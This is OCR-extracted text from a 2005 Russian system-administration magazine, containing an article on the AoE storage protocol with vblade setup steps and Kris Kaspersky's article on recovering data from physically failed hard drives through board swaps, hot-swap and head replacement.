сети SAN (Storage Area Network) – сеть, спроектированная для подключения устройств хранения (дисковых массивов и магнитных лент) к серверам. Характерно, что SAN отличается от других способов сетевого хранения информации за счет использования методики блочного доступа. Фактически сервер запрашивает информацию типа «блок X с диска Y». Передаваемая информация в SANсетях очень похожа на ту, что циркулирует по шине данных в дисках ATA и SCSI.
Конкурентом технологии FiberChannel является iSCSIпротокол. Передача данных в этом случае производится не по оптическим каналам, а по витой паре (ethernet). Сеть в данном случае представлена ethernet-коммутатороми и UTP-кабелями категории 5e/6. Работа протокола iSCSI полагается на функционирование TCP/IP-протокола. Следующим протоколом, который используется при разработке SAN-сетей, является AoE (ATA over Ethernet). ATA-протокол инкапсулируется в ethernet-кадры и в отличие от iSCSI не предусмотрен для маршрутизации. Однако AoE обладает интересной реализацией обнаружения AoE-устройств. Наиболее перспективной и проработанной технологией можно считать протокол HyperSCSI, который в некоторой степени похож на iSCSI, но не использует TCP/IP в качестве своей основы. В заключительной части этого цикла статей я приведу результаты измерения скоростных характеристик, а сейчас немного вас заинтригую – как оказалось, AoE не самый быстрый протокол. Сегодняшняя статья посвящена, пожалуй, самому молодому и амбициозно продвигаемому протоколу – AoE (ATA over Ethernet). Впервые о нем широко заговорили в 2004 году. Компания – разработчик протокола и на сегодняшний день единственный производитель устройств хранения информации, работающих с этим протоколом – Coraid Inc. [4]. Коротко охарактеризовать данный протокол можно фразой – «ATA-команды инкапсулируются в ethernet-кадры». Протокол уже получил свой номер в организации IANA, поэтому включение его поддержки в маршрутизаторы – дело ближайшего времени. Хотя было бы наивно думать, что сам по себе протокол будет поддержан всеми производителями коммуникационного оборудования. Впрочем, немало зависит и от настойчивости самой фирмы Coraid.
Краткий экскурс в основу протокола AoE Рассмотрим заголовок ethernet-пакета для протокола AoE (см. рис. 1). Первые 14 байт в заголовке типичны для ethernet-пакета. Что же касается полей Ver, Flags, Error, то они детально расписаны в документации на протокол AoE [5]. Содержимое поля Arg зависит от того, какую команду передали в поле Command. Существует два варианта – «Выполнить ATA-команду» (Command 0) и «Запросить конфигурационную информацию» (Command 1). Первая команда передается на сторону сервера, и ATA-устройство сервера исполняет ATA-команды, которые скомпонованы в блоке Arg. Ethernet-пакет для протокола AoE запрещается разбивать на более мелкие фрагменты. Вторая команда пред-
№9, сентябрь 2005
Рисунок 1. Заголовок ethernet-пакета для протокола AoE
назначена для обнаружения и управления AoE-устройствами. Вот такой простой протокол получился. Итак, на данный момент доступны GPL-драйвера для Linux 2.4, 2.6. В пакет ПО входят как модули (aoe-2.4.XX/ aoe-2.6.YY), так и утилиты (aoetools) с виртуальным наносервером (vblade). С января этого года AoE-драйверы включены в поставку Linux-ядер версии 2.6. Поэтому, в случае когда вы пересобираете Linux-ядро версии 2.6, можете смело выбрать компиляцию AoE – подсистемы. Также на сегодняшний день готовы порты для BSD-систем. В планах компании стоит выпуск драйверов и под Windows-платформу. Что касается остальных UNIX-систем, то для них готовых драйверов нет, по крайней мере сейчас.
Настройка модулей Ядро дистрибутива, на котором будут проводиться сегодняшние испытания, – это Linux Kernel серии 2.4. # # # #
wget aoe-2.4-3.tar.gz tar xzvf aoe-2.4-3.tar.gz cd aoe-2.4-3 make && make install
Примерный вывод должен быть таким: Found kernel version 2.4.26 Install directory is /lib/modules/2.4.26/kernel/net/aoe mkdir -p /lib/modules/2.4.26/kernel/net/aoe install -m 644 aoe.o /lib/modules/2.4.26/kernel/net/aoe ./mkdevs /dev/etherd Directory /dev/etherd exists, skipping devnode installation. ./autoload /sbin/depmod -a
Подготовка AoE-модулей завершена. В /etc/modules.conf прописаны параметры для устройств на основе AoE-протокола и созданы файлы устройств в директории /dev/etherd/. alias block-major-152 aoe alias char-major-152 aoe
Следующий наш шаг – это подготовка виртуального наносервера (vblade). Дело в том, что Coraid Inc., помимо раздачи под GPL-лицензией драйверов для AoE, является и единственным производителем устройств хранения информации EtherBlade, которые пока представлены только на рынке США и сопредельных государств. Однако, судя по информации с сайта компании, идет процесс создания дистрибьюторской сети.
Что из себя представляет EtherBlade? EtherBlade сегодня представлен двумя продуктами – это шасси размеров 3U и 2U. В первом варианте «лезвия» хра-
77
сети нятся 10 жестких дисков формата 3,5 дюйма. Во втором варианте уже используются 18 жестких дисков меньшего формата, а именно 2,5 дюйма. Если в самом начале карьеры EtherBlade использовались PATA-диски, то сегодня выпускаются модификации для SATA-дисков. Внутри отдельного лезвия находится контроллер памяти, процессор, ethernetпорт (см. рис. 2). Каждое такое лезвие потребляет около 12 Ватт, и гигабайт его стоимости начинается от 1,75 $. Для более тонкого варианта EtherBlade данные соответственно следующие: 5,5 Вт и 7,06 $. Лезвия подключаются во внешний 1-гигабитный свитч, который в свою очередь может быть подключен в более скоростной 10-гигабитный. Таким образом достигается масштабирование данного решения. Чтобы не ждать поставки аппаратного «лезвия», можно воспользоваться его виртуальным аналогом – программным vblade. Настройка наносервера vblade. # # # #
wget vblade-5.tar.gz tar xzvf vblade-5.tar.gz cd vblade-5.tar.gz make && make install
Рисунок 3. EtherBlade
Получились 2 исполняемых файла – vblade и vbladed. Последний является обычным скриптом, который запускает vblade. Его конструкция напоминает нижеследующий вариант (параметры изменены):
где «9» – номер шасси, «0» – номер слота (диска или лезвия), «eth0» – название интерфейса, по которому будет происходить обмен данными и «/dev/hda» – собственно устройство, которое в формате «AoE» делается доступным по ethernet. С другой машины, запустив там предварительно процесс инсталляции драйвера AoE, мы увидим в /var/log/ messages следующее: aoe: aoe_init: AoE v2.4-3 initialised. aoe: 000c6e784408 e9.0 v4000 has 80418240 sectors
То есть устройство распознано драйвером AoE. Здорово. Теперь запустив fdisk, мы увидим, что на нем находится: # fdisk /dev/etherd/e9.0 Command (m for help): p Disk /dev/etherd/e9.0: 41.1 GB, 41174138880 bytes 255 heads, 63 sectors/track, 5005 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Device Boot /dev/etherd/e9.0p1 * /dev/etherd/e9.0p2 /dev/etherd/e9.0p3 /dev/etherd/e9.0p4 /dev/etherd/e9.0p5
Start 1 925 1218 2493 2493
И это правильно, т.к. sysfs разработан в ядрах серии 2.6. Однако данный факт не помешает нам вручную узнать состояние наносервера. # cat /dev/etherd/stat /dev/etherd/e9.0
# vblade 9 0 eth0 /dev/hda
End 924 1217 1439 4865 4865
Blocks Id System 7421998+ b W95 FAT32 2353491 7 HPFS/NTFS 1783183+ c W95 FAT32 (LBA) 19061122+ f W95 Ext'd (LBA) 19061091 b W95 FAT32
Все так и обстоит на самом деле – это действительно структура удаленного хранилища, в нашем случае ATA-диска. Для получения статистики воспользуемся утилитой aoestat из пакета aoetools. # /usr/sbin/aoe-stat aoe-stat Error: sysfs is not mounted
78
Рисунок 2. Структура единичного «лезвия»
eth0
up
Досадной мелочью (по крайней мере в драйверах 2.4) является невозможность использовать отдельные разделы в случае, когда наносервер предоставляет для целей хранения весь диск. Чтобы обойти это ограничение, создадим один раздел занимающий весь объем диска. Командная строка для vblade будет выглядеть, например, так: # vblade 9 0 eth0 /dev/hda1
В этом случае монтирование «лезвия» на удаленной машине не отличается от монтирования локального диска. # mount /dev/etherd/e9.0 /mnt/tmp
У данного решения есть и минусы. За счет простоты реализации протокола увеличивается нагрузка на подсистему ввода/вывода. Не проработана система шифрования трафика, передаваемого по сети. Как уже отмечалось выше, на рынке представлены только аппаратные продукты одной компании. В следующей части мы познакомимся с протоколом iSCSI, узнаем, что такое «инициатор» и «iSCSI-target», попробуем подключить Windows- и Linux-клиенты к серверу с хранилищем данных по iSCSI-протоколу.
Ссылки: 1. 2. 3. 4. 5.
http://wikipedia.org. http://www.redhat.com/software/rha/gfs. http://oss.oracle.com/projects/ocfs2. http://www.coraid.com. http://www.coraid.com/documents/AoEr8.txt.
hardware-практикум
КАК СПАСТИ ДАННЫЕ, ЕСЛИ ОТКАЗАЛ ЖЕСТКИЙ ДИСК
КРИС КАСПЕРСКИ Вам уже известна методика восстановления логических разрушений (форматирование, удаление файлов и т. д.) и теперь мы перейдем к самой сложной и ответственной части – аппаратным отказам жесткого диска и путям их преодоления.
О
бъемы жестких дисков стремительно растут, а их надежность неуклонно падает. С одной стороны, поджимает плотность записи, с другой – конкуренция. Повсеместно применяются дешевые комплектующие и «сырые» технические решения, обкатывать которые приходится конечному потребителю, то есть мне и вам. Залог безопасности данных – ежедневное резервирование (тем более что современные съемные носители это позволяют), однако, как показывает практика, даже продвинутые специалисты (не говоря уже о пользователях типа «секретарша») пренебрегают этой рекомендацией, ведь все «и так работает»… После отказа винчестера данные практически всегда можно спасти, если действовать по плану. Если же плана нет, от «врачевания» лучше сразу отказаться. Неумелые попытки только затрудняют процедуру восстановления, а то и делают ее совсем невозможной. Сотрудники сервисных цент-
80
ров настоятельно отговаривают пользователей от самостоятельного ремонта, а за ослушание карают либо удвоенной (утроенной) ценой, либо же отказываются от восстановления. И вовсе не потому, что боятся, что клиент сможет обойтись без их помощи! Жесткий диск – очень сложное устройство. Это не радиоприемник, который можно отремонтировать и без знаний радиотехники! У работников сервисного центра есть оборудование, знания и опыт. Через их руки прошли сотни и тысячи винчестеров, поэтому шансы на успешное восстановление данных здесь намного выше, чем у простого программиста или администратора, рыдающего над убитым диском. Это – теоретически. Практически же… Цена за восстановление зачастую переходит все границы, причем никаких гарантий на благоприятный исход все равно нет. Известно немало случаев, когда кустари забесплатно поднимали винчестеры, угробленные «специ-
алистами» сервис-центров. А для жителей глубинки никакие «центры» вообще не доступны и приходится рассчитывать только на себя. Мы будем говорить о восстановлении данных. Ремонт винчестеров (за исключением редких случаев) невозможен или экономически нецелесообразен. Нашей задачей будет временное восстановление работоспособности жесткого диска, достаточное лишь для копирования самых ценных данных, в идеале – всего диска целиком.
Что нам понадобится Непременным атрибутом серьезной фирмы была и остается «чистая комната» с классом чистоты 100 (в одном кубическом футе воздуха содержится не более 100 пылинок размером 0,5 миллиметра). За этими незатейливыми словами скрывается грандиозное инженерное сооружение со стоимостью от 30 тыс. долларов. Менее серьезные ремонтники ограничи-
hardware-практикум ваются «чистой камерой», что на порядок дешевле, но для кустарных мастеров даже это неподъемно дорого. Можно ли обойтись без чистой комнаты или соорудить ее самостоятельно? Вопреки распространенным слухам и опасениям – да, можно! Как минимум достаточно обыкновенной незапыленной комнаты с работающим кондиционером или даже без него. Также желательно обзавестись ионизатором (он вызывает слипание частичек пыли, и они вместо того чтобы носиться по комнате, оседают на пол, откуда их удаляет нехитрая система вентиляции) (рис. 4). Хороший ионизатор стоит в пределах $500 – $1000, но при желании его можно сконструировать и самостоятельно. Взять хотя бы ту же «Люстру Чижевского», схему которой легко найти в старых журналах «Радио», «Моделист-Конструктор» или в Интернете. Естественно, непосредственно перед проведением работ ионизатор нужно выключать. При ремонте винчестеров на более или менее постоянной основе имеет смысл соорудить некоторое подобие чистой камеры. Для этого требуется стеклянный аквариум, воздушный фильтр и компрессор, нагнетающий воздух внутрь аквариума и препятствующий попаданию пыли через открытую переднюю стенку. Да! Передняя стенка остается открытой! Аквариум ставится на «бок», открытой стороной на себя. Сверху закрепляется стеклянная пластина, закрывающая до 2/3 поверхности, а внутрь устанавливается воздушный фильтр. Компрессор остается снаружи. Оставшаяся 1/3 закрывается другой пластинкой, на несколько часов включается фильтр (точное время зависит от его пропускной способности и объема аквариума), а затем, перед самым началом работ, нижняя пластинка удаляется, предоставляя простор рукам. Невероятно дешево, но вполне «стерильно». Во всяком случае намного чище открытой жилой комнаты. Учитывая непродолжительное время вскрытия гермозоны (сделал дело и тут же закрыл), на пластины успевает осесть не так уж много пыли, и у винчестера есть все шансы считать данные до смертельного исхода (рис. 5). После выполнения всех операций винчестер следует обязательно за-
№9, сентябрь 2005
крыть крышкой, предварительно удалив попавшие пылинки с помощью баллончика с воздухом для продувки двигателей, который можно купить в автомагазине. Поскольку в трубке образуется конденсат, первые порции струи выпускаются в сторону от винчестера и затем плавно направляются на диск. Другая неприятная особенность заключается в том, что баллончик нельзя встряхивать, иначе из него полезет белая непотребность, которая добьет диск окончательно. Сергей Яценко подготовил видеоматериал, на котором все это наглядно проиллюстрировано: http://pc3k.rsu.ru/video/video03_ N40P_disk_swap.avi (157 Мб). Продолжительная работа с «оголенной» гермозоной даже в чистой камере недопустима! Частицы пыли, присутствующее в воздухе, сталкиваясь с бешено вращающейся пластиной, за короткий срок уничтожают магнитное покрытие. На дисках со стеклянной подложкой (например, винчестерах типа DTLA) образуется настоящий «иллюминатор». Но ведь при вскрытии гермоблока в него все равно попадает пыль! Разве от закрытия крышки она исчезнет? По этому поводу вспоминается анекдот: «Вася, закрой форточку, на улице холодно! – От того, что я ее закрою на улице теплее не станет!» Шутка. На самом деле внутри гермоблока расположен фильтр рециркуляции, активно поглощающий попавшую пыль, в результате чего ее концентрация быстро уменьшается до приемлемых значений. А вот при работе в стиле «ню» концентрация пыли остается постоянной (рис. 6). Другая причина – закрученная крышка слегка деформирует гермоблок, поэтому без нее диск может читаться нестабильно, с многократными повторами. Установка крышки – это целое дело! Запустив утилиту, выводящую скоростную кривую на экран, попеременно подтягиваем болты, добиваясь наиболее ровного графика чтения. Часы жизни винчестера, вскрытого вне чистой комнаты, сочтены, а время, требующееся для вычитки данных, – велико, особенно если используются аппаратно-программные комплексы, не поддерживающие режимов DMA/ ULTRA DMA. Поэтому жесткий диск лучше подключать к компьютеру напрямую и в первую очередь вычиты-
Рисунок 1. Жесткие диски – так они выглядят
Рисунок 2. Этому жесткому диску уже ничто не поможет, но в большинстве случаев их все-таки можно восстановить
Рисунок 3. Чистая комната, в которой вскрывают гермоблоки жестких дисков
Рисунок 4. Схематичное устройство типовой чистой комнаты
вать только самые важные данные, установив счетчик повторов чтения на значение 3х. То есть сначала читаем все, что читается само, и только потом – то, что читается с трудом. Вторым козырем серьезных фирм являются только что упомянутые аппаратно-программные комплексы.
81
hardware-практикум
Рисунок 5. Чистая камера
Рисунок 6. Для жесткого диска каждая пылинка равносильна метеориту
Рисунок 7. Аппаратно-программный комплекс PC-3000, установленный в компьютер
Рисунок 8. Жесткий диск, подключенный через стандартный ATA-порт (широкий ленточный кабель) и через технологический COM-терминал с помощью адаптера PC-KALOC, входящего в комплект поставки PC-3000 (узкий ленточный кабель)
Наибольшую известность получили PC-3000 от ACE Lab (www.acelab.ru) и HDD Repair Tools от BVG Group (www. bvg-group.ru). Что это такое? С «железной» точки зрения это обыкновенный (даже слегка ущербленный) IDE-контроллер, поддерживающий режимы PIO и отчасти DMA/UDMA со встроенным электронным ключом (как правило, собранном на мощном полевом транзисторе) и позволяющий подсоединять/отсоединять жесткие диски
82
«на лету», без выключения компьютера, что очень удобно. Однако того же эффекта можно достичь, если подсоединить жесткий диск к отдельному блоку питания, а перед его выключением подать ATA-команду 94h (standby immediate) (рис. 7). Технологические команды, приоткрывающие дверь во внутренний мир жесткого диска, передаются либо по ATA-интерфейсу, либо через COMтерминал. Да-да! На многих моделях винчестеров имеется интегрированный COM-порт, подключившись к которому можно контролировать процесс инициализации и управлять приводом (правда, не на всех дисках он распаян, то есть выведен на разъем). Обычного COM-порта, встроенного в компьютер, плюс пары переходников, которые любой радиолюбитель легко смастерит самостоятельно, для наших целей вполне достаточно. Еще в аппаратно-программных комплексах имеется возможность в любой момент подать RESET, что помогает в случае «зацикливания» жесткого диска (рис. 8). Штатные IDE-контроллеры на это не способны, но что мешает прицепить на IDE-шину свою кнопку или просто замкнуть пинцетом выводы? Зачем же тогда люди приобретают аппаратно-программные комплексы, отдавая за них ненормальные деньги? (В частности, PC-3000 в полном комплекте обойдется в несколько тысяч долларов). А за поддержку и сервис! Сам по себе PC-3000 бесполезен или почти бесполезен. Но к нему прилагается документация с подробным описанием методики восстановления различных моделей винчестеров, имеется база служебных модулей, к услугам которой приходится прибегать, если родная «служебка» отправляется к праотцам, наконец, в стоимость комплекса входят консультация и обучение. К тому же прилагается мощное программное обеспечение, в частности Data Extractor, отличительной чертой которого является способность автоматического восстановления транслятора (во врезке «Прошивка, индивидуальные настройки и адаптивы» мы об этом еще поговорим) плюс продуманный механизм «вычитывания» информации. Если сектор прочитался, он заносится в базу и в дальнейшем никогда не читается с диска повтор-
но (разве что вы специально об этом попросите). Большинство распространенных утилит (например, GetDataBack от Runtime Software) ведут себя совсем не так. Они многократно перечитывают одни и те же сектора, особенно принадлежащие служебным областям диска, такие как FAT или MFT, или вообще аварийно завершают свою работу при встрече с BAD-сектором. В случае логических разрушений все ОК, но для восстановления жестких дисков такой подход непригоден. Можно, конечно, написать такую утилиту самостоятельно или доработать близкий по духу Open Source проект, можно раздобыть готовую служебку в сети или слить ее с аналогичной модели винчестера, но… на все это требуется время, а времени всегда не хватает. Наличие специализированного комплекса существенно упрощает дело. Тем не менее PC-3000 не панацея! Специалист, умеющий ремонтировать жесткие диски, при необходимости обойдется и без него, а не умеющему он ничем не поможет. Из инструментов нам в первую очередь понадобятся отвертки-звездочки. Для старых винчестеров – номер 10, для новых – номер 9. При отсутствии звездочек можно воспользоваться и обыкновенной плоской отверткой. В частности, звездочка-10 соответствует плоской-3. Под звездочку-9 отвертку придется затачивать самостоятельно. Впрочем, сейчас звездочки уже не проблема и приобрести их можно в любом техническом магазине. Остальной инструментарий вполне стандартен. Пассатижи, плоскогубцы, пинцеты… Для перестановки «блинов» придется собрать специальный захват, устройство и приемы работы с которым наглядно продемонстрированы в уже упомянутом видеоматериале Сергея Яценко. В процессе ремонта нам придется заниматься демонтажем микросхем. Для этого нужен либо строительный фен, либо паяльник плюс фантазия. Фен обойдется примерно в ~$50, но им еще необходимо научиться пользоваться. Сергей Яценко подготовил специальный видеоматериал, демонстрирующий технику демонтажа ПЗУ с помощью паяльной станции http://pc3k.rsu.ru/video/video02_WDC_ ROM.avi (13 Мб). Паяльная станция –
hardware-практикум это, конечно, не фен, но принципы работы с ней схожи. Если фена нет, можно обойтись паяльником с расплющенным жалом, лезвием (для демонтажа планарных микросхем) и медицинской иглой со сточенным концом (для демонтажа элементов, установленных в отверстия со сквозной металлизацией). О самом демонтаже можно прочитать в статье «Лудить, паять, кастрюли-ведра чиним» (www.computerra.ru/ offline/1998/251/1400).
Как их ремонтируют Древние жесткие диски стоили дорого, использовали «рассыпуху» микросхем с низкой степенью интеграции и серийные комплектующие, над которыми еще имело смысл подолгу зависать с осциллографом, выискивая неисправный элемент. Но затем степень интеграции начала стремительно нарастать, производители перешли на заказные чипы, а цены на винчестеры упали ниже арктических холодов. Ремонтировать электронику теперь не только сложно, но еще и нерентабельно. Основным способом возвращения работоспособности стала замена всей платы контроллера целиком. Берется диск, идентичный модели (донор), и плата переставляется на гермоблок с восстанавливаемыми данными (акцептор). Исключение составляет мелкий ремонт типа замены перегоревшего предохранителя или транзистора, который можно выполнить непосредственно на теле «пациента» (рис. 10). Возникает естественный вопрос – если ремонтники уже давно ничего не ремонтируют, а только тасуют платы, зачем же к ним обращаться и платить деньги, когда эту операцию можно проделать и самому? Но все не так просто! Во-первых, необходимо найти подходящего донора. У разных моделей винчестеров совместимость плат электроники неодинакова, некоторые требуют совпадения всех цифр в номере модели, некоторые соглашаются работать и с «родственным» контроллером. А некоторые могут не работать даже при полном совпадении всех букв и цифр, и тогда приходится перебирать одного донора за другим, в надежде найти подходящего. Особенности по-
№9, сентябрь 2005
Устройство жесткого диска Жесткий диск состоит из гермоблока и платы электроники. В гермоблоке расположен шпиндельный двигатель, вращающий пакет из одного или нескольких магнитных дисков, блок магнитных головок (сокращенно БМГ), ранее управляемый шаговым двигателем, а теперь устройством под названием «звуковая катушка» (voice coil), а также предусилитель коммутатор чтения/записи, смонтированный в микросхеме либо непосредственно на БМГ, либо расположенный на отдельной плате рядом с ней. В последнем случае замена коммутатора возможна без съема БМГ, что существенно упрощает его ремонт (рис. 9). Плата электроники включает в себя:
ведения каждой модели можно почерпнуть из документации, прилагаемой к PC-3000 или найти в Интернете. Поиски доноров серьезно осложняются тем, что период производства большинства винчестеров намного меньше их среднего срока существования. Компьютерные магазины постоянно обновляют свой ассортимент и приобрести модель аналогичную той, что вы купили несколько лет назад, скорее всего не удастся. Остаются радио-рынки и фирмы, торгующие подержанными комплектующими, но выбор здесь никакой (рис. 11). Внимание: неродной контроллер может повредить микросхему коммутатора/предусилителя, расположенную внутри гермоблока, и разрушить служебную информацию, что значительно затруднит дальнейший ремонт, поэтому не переставляйте платы, если не уверены в их совместимости! Во-вторых, помимо электроники плата контроллера несет на своем борту ПЗУ, в котором могут быть записаны индивидуальные настройки. И с чужой платой винчестер работать просто не будет! Тут есть два пути. Если акцептор еще не совсем сдох, с него считывается оригинальная прошивка и заливается на плату донора. В противном случае приходится перепаивать непосредственно само ПЗУ. В-третьих, даже если винчестер «заведется» чужой платой, последовательность нумерации секторов может оказаться нарушена, и файловая система превратится в мусор, который придется разгребать руками или
контроллер шпиндельного двигателя и звуковой катушки, управляющий вращением пакета диска и позиционированием головок; канал чтения/записи; микроконтроллер, являющийся, по сути, «сердцем» винчестера; контроллер диска, отвечающий за обслуживание ATA-интерфейса.
Рисунок 9. Блок-схема типичного жесткого диска
специализированными программными комплексами (лучшим из которых является Data Extractor, входящий в комплект PC-3000, но также способный работать и отдельно от него со штатным IDE-контроллером). Тем не менее никаких экстраординарных способностей для ремонта не требуется, и он вполне по силам мастерам средней руки. Отказ электроники это ерунда. Хуже, если испорчена часть служебной информации, записанной на магнитных пластинах (см. врезку «Прошивка, индивидуальные настройки и адаптивы». Это может произойти по разным причинам: ошибки в прошивке, сбои питания, отказ электроники, вибрация/удары, деформация гермоблока и т. д. и т. п. При этом жесткий диск не входит в готовность или на все команды отвечает ошибкой. Некоторые винчестеры автоматически переходят в технологический режим, предназначенный для заливки служебной информации, которая может быть передана либо через стандартный ATA-интерфейс, либо через COM-терминал. В состав PC-3000 входит большая коллекция разнообразных служебных модулей для популярных моделей жестких дисков, а всем зарегистрированным пользователям предоставляется бесплатный доступ к ftp-серверу, на котором можно найти практически все что угодно. Как вариант можно воспользоваться специализированными утилитами, распространяемыми производителями винчестера, выбрав режим обновления прошивки. Однако
83
hardware-практикум
Рисунок 10. Плата электроники, готовая к пересадке
Рисунок 11. Коллекция винчестеровдоноров, используемая при пересадке контроллеров
Рисунок 12. Блок магнитных головок с микросхемой коммутатора/ предусилителя
Рисунок 13. Инструмент для перемещения БМГ, изготавливаемый из узкой полоски пластика (1), обжимаемый на разогретом металлическом стержне (2)
при этом обновляются далеко не все модули и далеко не для всех моделей такие утилиты есть. К тому же этот способ восстановления бесполезен, если в служебной зоне имеются физические дефекты или на-
84
копитель «зависает» еще на старте, отказываясь входить в технологический режим. На этот случай существует метод Hot-Swap (горячая замена). В нем также участвуют два накопителя – донор и акцептор, но трансплантация осуществляется в живую под местным наркозом. Акцептор обесточивается, с него снимается плата электроники, обнажая гермоблок. Донор подключается к IDE-шлейфу, на него подается питание, затем после процесса инициализации и выдачи готовности, отдается ATA-команда Sleep (95h), останавливающая шпиндельный двигатель. Все остальные узлы остаются под напряжением. Контроллер аккуратно свинчивается и переставляется на гермоблок акцептора. Затем ему подается любая команда для пробуждения (например, команда чтения сектора). Поскольку контроллер уже был проинициализирован, обращения к служебной зоне не происходит, и с диска удается считать всю уцелевшую информацию. (При использовании штатного IDE-контроллера необходимо заблаговременно отключить SMART в настройках BIOS Setup, иначе винчестер будет вести SMART-протокол, производя запись в служебную зону). Требования к совместимости плат электроники – те же самые, что и в случае простой перестановки контроллера. В принципе не обязательно переставлять плату донора на акцептор. Можно взять плату акцептора, проинициализировать ее на гермоблоке донора, а затем вернуть обратно. Такой способ даже более предпочтителен, поскольку в этом случае, акцептор будет работать со «своим» ПЗУ. Ряд неисправностей требует вскрытия гермоблока и ювелирного мастерства рук. Первое место по частоте отказов занимает выход из строя одной или нескольких магнитных головок. Причиной может быть и заводской брак, и пробой электроники, и механическое воздействие (например, удар). Если физически головка остается неповрежденной, то одна из поверхностей перестает читаться, и тогда через каждые N секторов, где N – количество головок, образуется BAD. Некоторые модели имеют 6 головок, некоторые – только одну, тогда при ее отказе диск становится полностью неработоспособным и не может прочитать
даже служебную зону. Но и при отказе одной из шести головок информация превращается в труху. Все файлы, размер которых превышает 3 Кб (512 * 6), становятся продырявленными. Что делать? Переставлять блок головок! Это очень сложная операция и у начинающих мастеров в половине случаев она заканчивается летальным исходом. Практиковаться на своем рабочем винчестере, который надо восстановить, категорически недопустимо! Сначала потренируйтесь на «кошках» – жестких дисках разной степени убитости, на которых нет ничего интересного. Нам потребуется донор близкой модели. Точное совпадение всех цифр модели здесь не обязательно, главное, чтобы БМГ был аналогичного типа. Некоторые диски паркуют головки за пределами внешней кромки магнитных пластин, некоторые – в специальной зоне близ центра шпинделя (рис. 12). Последний случай самый тяжелый. Ведь для того чтобы снять головки, их нужно протащить через всю поверхность, а допускать контакта головки с поверхностью ни в коем случае нельзя, иначе магнитное покрытие будет повреждено! Вооружившись тонкой полоской выгнутого и обезжиренного пластика, аккуратно заводим ее под каждую головку, так чтобы пластик приподнимал головку над поверхностью, но сам ее не касался и выводим головки за пределы внешний кромки. Чтобы головки не касались и не царапали друг друга, между ними вставляется полоска полиэтилена, которую можно вырезать из антистатической упаковки жесткого диска. Меняется только БМГ. «Родной» магнит звуковой катушки акцептора остается тем же самым. В зону парковки магнитные головки заводятся аналогичным образом. Остается закрутить винт оси позиционера и надеть крышку на гермоблок. При включении винчестера наверняка раздастся жуткий рыдающий звук, а скорость чтения упадает в разы. Это следствие работы с чужим БМГ, на неродных адаптивах. Подтягивая винты крышки, можно до некоторой степени выровнять график чтения. Долго в таком состоянии жесткий диск работать не может, поэтому необходимо как можно скорее приступать к вычи-
hardware-практикум тываю поверхности, начиная с наиболее ценных данных (рис. 13). Подробнее об этом читайте в статье Сергея Казанского «Как я переставлял блок головок на Fujitsu MPG3409AH, чтобы спасти информацию. (Записки сумасшедшего ремонтника)» – http://onehalf. pisem.net/stat/heads.html. Некоторые жесткие диски содержат только одну магнитную головку, и в случае ее отказа выгоднее переставлять сам магнитный «блин», как это показано в уже упомянутом видеоматериале Сергея Яценко. Также приходится сталкиваться с «залипанием» магнитных головок, в прямом смысле слова прилипших к поверхности за счет сил межмолекулярного притяжения. Некоторые источники рекомендуют в этом случае просто крутануть диск в горизонтальном направлении, но польза от этого действия очень сомнительна, а вот вред оно может нанести немалый и зачастую непоправимый (например, повредить подвески головки с последующим фрезированием магнитной поверхности). Лучше разобрать гермоблок и аккуратно приподнять головки с помощью уже знакомого нам куска изогнутого пластика, вернув их в зону парковки. Подробности – в статье Сергея Яценко «Восстановление гермоблока IBM DJNA371350 после падения» – http://www.acelab.ru/pcTechSupport/ DOSvers/MFGFeatures/IBM/VGPP.html (только для зарегистрированных пользователей PC-3000). Еще встречается повреждение коммутатора/предусилителя или обрыв гибкого шлейфа. Если он расположен непосредственно на БМГ (особенно в микросхеме бескорпусного исполнения), то весь БМГ меняется целиком по вышеописанной методике. Звуковая катушка в силу своей конструктивной простоты практически никогда не отказывает (там просто нечему ломаться), но вот выводные провода обломаться могут, однако их легко припаять (рис. 14). Шпиндельный двигатель очень надежен и перегорает/замыкает обмотками только в исключительных случаях, а вот клин гидродинамического подшипника вполне распространенное явление, и тогда его приходится расклинивать по методике, описанной в http://www.acelab.ru/pcTechSupport/
№9, сентябрь 2005
Рисунок 14. Звуковая катушка
DOSvers / TechDoc / Barracuda4.html (только для зарегистрированных пользователей PC-3000).
Какой диск выбрать? Своему винчестеру мы доверяем самое дорогое, что у нас есть – свои данные. Знакомые меня постоянно спрашивают: какого производителя выбрать? Какой модели отдать предпочтение? Цена не критична. Остальные параметры (ну, быть может, за исключением шума) тоже. Главное – чтобы он не сдох без предупреждений. (Медленная смерть, сопровождающаяся посторонними звуками типа визга или шума и размножающимися BAD-секторами не в счет, тут любому понятно, что диск надо менять). Я сам задаю себе тот же вопрос, но… как говорится, «во Вселенной существуют вопросы, на которые нет ответов». У жестких дисков нет надежности. Вместо этого у них гарантийный талон. И точка. На сотни тысяч часов наработки на отказ, приводимых в документации, можно не опираться, поскольку они берутся с потолка и производитель за них не отвечает (а следовало бы…). Не бывает «хороших» и «плохих» производителей. С каждым брендом случались свои проколы. Независимо от производителя в партии из тысячи дисков от одного до десяти винчестеров возвращаются задолго до истечения гарантийного срока, даже если они позиционируются как серверные модели. Все решает вероятность. Кому-то жить, а кому-то умирать. Правильнее говорить о неудачных (то есть «падучих») моделях. Например, печально известная серия Fujitsu MPG, в которой использова-
лась микросхема Cirrus Logic с измененным составом подложки, со временем образовывала паразитные утечки, и практически все эти винчестеры вымерли в течение двух лет. Или вот IBM DTLA (в просторечии называемый «дятлом») с неудачной конструкцией разъема гермоблока, вызывающей периодический неконтакт и как следствие – преждевременный обрыв операции записи. Часть сектора записана, часть – нет. В результате на диске образуются виртуальные BAD-сектора (контрольная сумма не совпадает, но физических дефектов нет), которые можно (в принципе) прочитать, но нельзя восстановить (данные не дописаны). У меня было три дятла. Один сдох в течение первых двух месяцев, но был успешно отремонтирован и заброшен на полку как враг народа. Два других успешно работают до сих пор. А сколько дисков полетело у моих знакомых – не сосчитать! Все решает слепая вероятность и, может быть, даже судьба (у одного винчестера одна карма, у другого – другая). Ну и качество блока питания, отсутствие вибраций, наконец! Сбор статистики затруднен еще и потому, что ее просто не откуда взять. Абсолютное количество отказов само по себе еще ни о чем не говорит. Требуется учесть распространенность Таблица 1. Статистика отказов жестких дисков по производителям
Таблица 2. Статистика отказов жестких дисков по моделям
85
